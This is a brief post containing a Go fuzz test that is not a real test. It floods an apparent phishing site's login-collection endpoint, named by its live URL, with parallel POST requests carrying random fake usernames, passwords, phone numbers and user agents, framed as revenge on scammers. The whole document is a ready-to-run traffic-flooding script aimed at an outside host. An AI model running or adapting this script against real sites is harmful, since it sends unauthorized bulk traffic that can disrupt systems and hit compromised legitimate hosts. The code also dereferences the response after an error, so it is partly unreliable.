Fuzz test to f*** over some phishing scammers

FuzzF***.go

package main_test

import (
	"context"
	"net/http"
	"net/url"
	"strings"
	"testing"
	"time"
)

func FuzzF(f *testing.F) {
	const updateTimeout = 10 * time.Second
	f.Fuzz(func(t *testing.T, username string, password string, phone string, userAgent string) {
		t.Parallel()

		formData := url.Values{
			"username": {username},
			"password": {password},
			"phn":      {phone},
			"button":   {""},
		}

		ctx, cancel := context.WithTimeout(context.Background(), updateTimeout)
		defer cancel()
		req, err := http.NewRequestWithContext(ctx, http.MethodPost, "https://capitexglobal.com.ng/tinkerfcu/Backend/userlog.php", strings.NewReader(formData.Encode()))
		if err != nil {
			t.Error(err)
		}

		req.Header.Add("Content-Type", "application/x-www-form-urlencoded")

		// Strip any control bytes from the user agent
		userAgent = strings.Map(func(r rune) rune {
			if r < 32 || r > 126 {
				return -1
			}
			return r
		}, userAgent)

		req.Header.Add("User-Agent", userAgent)

		resp, err := http.DefaultClient.Do(req)
		if err != nil {
			t.Error(err)
		}

		if resp.StatusCode != http.StatusOK {
			t.Error(resp.StatusCode)
		}
	})
}